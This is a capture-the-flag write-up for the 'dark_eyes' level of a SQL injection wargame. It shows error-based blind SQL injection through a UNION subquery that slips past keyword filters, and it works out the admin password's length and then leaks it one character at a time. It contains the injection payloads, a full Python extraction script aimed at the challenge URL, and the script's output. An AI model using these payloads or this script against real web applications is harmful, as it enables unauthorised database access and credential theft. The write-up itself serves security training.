Skip to main content

dark_eyes

1

We are provided with the SQL query:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='{$_GET[pw]}'

Filter​

This challenge filters out the following:

  • col
  • if
  • case
  • when
  • sleep
  • benchmark

This level also exits when an error is invoked instead of revealing the error message.

Error-based Blind SQL Injection​

ERROR: Subquery returned more than 1 value error​

In SQL the subquery can only return one value.

## Valid:
SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1) -- -'

## Invalid:
SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1 UNION SELECT 2) -- -'

This is the error that we will be exploiting.

Revealing the password length​

If we provide the following URI parameter:

?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)=1) -- -

The resultant query becomes:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)=1) -- -'

The above SQL query includes the subquery (SELECT 1 UNION SELECT 2 where id='admin' and length(pw)=1) which returns two values if the length(pw)=1 for id='admin'. This would invoke an error and cause the challenge to exit.

2

Since the challenge did not exit, it means that the subquery only returned one value SELECT 1. This tells us that the length of the pw for id='admin' is more than 1.

If we keep increasing the length and provide the following URI parameter:

?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)=8) -- -

The resultant query becomes:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)=8) -- -'

3

The subquery returned two values SELECT 1 UNION SELECT 2 because the length of pw for id='admin' is 8. This caused an error, causing the challenge to exit.

Leaking the password​

Next, we can leak the password byte by byte using the substr() function.

substr()​

If we provide the following URI parameter:

?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 1, 1)='0') -- -

The resultant query will be:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 1, 1)='0') -- -'

4

Since the challenge did not exit, it means that the subquery only returned one value SELECT 1. This tells us that the first character of the pw for id='admin' is not 0.

We can try other characters moving up to the following:

?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 1, 1)='5') -- -

The resultant query will be:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 1, 1)='5') -- -'

5

The subquery returned two values SELECT 1 UNION SELECT 2 because the first character of pw for id='admin' is ``5`. This caused an error, causing the challenge to exit.

We can keep repeating this process until we get all the eight characters of the admin password:

5a2f5d3c

Script​

dark_eyes_script.py
import requests
import urllib.parse
import string

cookies = {'PHPSESSID': 'rvrb7p6vumnf7hu5ukb8f70gj8'}
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
password_length = 0

for x in range(0, 100):
payload = f"' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)={x}) -- -"
encoded_payload = urllib.parse.quote_plus(payload)
full_url = f"{url}?pw={encoded_payload}"

response = requests.get(full_url, cookies=cookies)

if "prob_dark_eyes" not in response.text:
password_length = x
break

print()
print(f"[!] Payload: ?pw={payload}")
print(f"[!] Payload (URL encoded): ?pw={encoded_payload}")
print(f"[!] Password length: {password_length}")

password = ""
searchspace = string.digits + string.ascii_letters

for index in range(1, password_length + 1):
for char in searchspace:
payload = f"' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, {index}, 1)='{char}') -- -"
encoded_payload = urllib.parse.quote_plus(payload)
full_url = f"{url}?pw={encoded_payload}"

response = requests.get(full_url, cookies=cookies)

if "prob_dark_eyes" not in response.text:
password += char
print()
print(f"[+] Payload: ?pw={payload}")
print(f"[+] Payload (URL encoded): ?pw={encoded_payload}")
print(f"[+] Character at index {index}: {char}")
break

print()
print(f"[!] Extracted password: {password}")
print(f"[!] Final payload: ?pw={password}")
$ python .\dark_eyes_script.py

[!] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND length(pw)=8) -- -
[!] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+length%28pw%29%3D8%29+--+-
[!] Password length: 8

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 1, 1)='5') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+1%2C+1%29%3D%275%27%29+--+-
[+] Character at index 1: 5

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 2, 1)='a') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+2%2C+1%29%3D%27a%27%29+--+-
[+] Character at index 2: a

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 3, 1)='2') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+3%2C+1%29%3D%272%27%29+--+-
[+] Character at index 3: 2

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 4, 1)='f') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+4%2C+1%29%3D%27f%27%29+--+-
[+] Character at index 4: f

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 5, 1)='5') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+5%2C+1%29%3D%275%27%29+--+-
[+] Character at index 5: 5

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 6, 1)='d') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+6%2C+1%29%3D%27d%27%29+--+-
[+] Character at index 6: d

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 7, 1)='3') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+7%2C+1%29%3D%273%27%29+--+-
[+] Character at index 7: 3

[+] Payload: ?pw=' OR (SELECT 1 UNION SELECT 2 WHERE id='admin' AND substr(pw, 8, 1)='c') -- -
[+] Payload (URL encoded): ?pw=%27+OR+%28SELECT+1+UNION+SELECT+2+WHERE+id%3D%27admin%27+AND+substr%28pw%2C+8%2C+1%29%3D%27c%27%29+--+-
[+] Character at index 8: c

[!] Extracted password: 5a2f5d3c
[!] Final payload: ?pw=5a2f5d3c

If we provide the following URI parameter:

?pw=5a2f5d3c

The resultant query becomes:

SELECT id FROM prob_dark_eyes WHERE id='admin' AND pw='5a2f5d3c'

6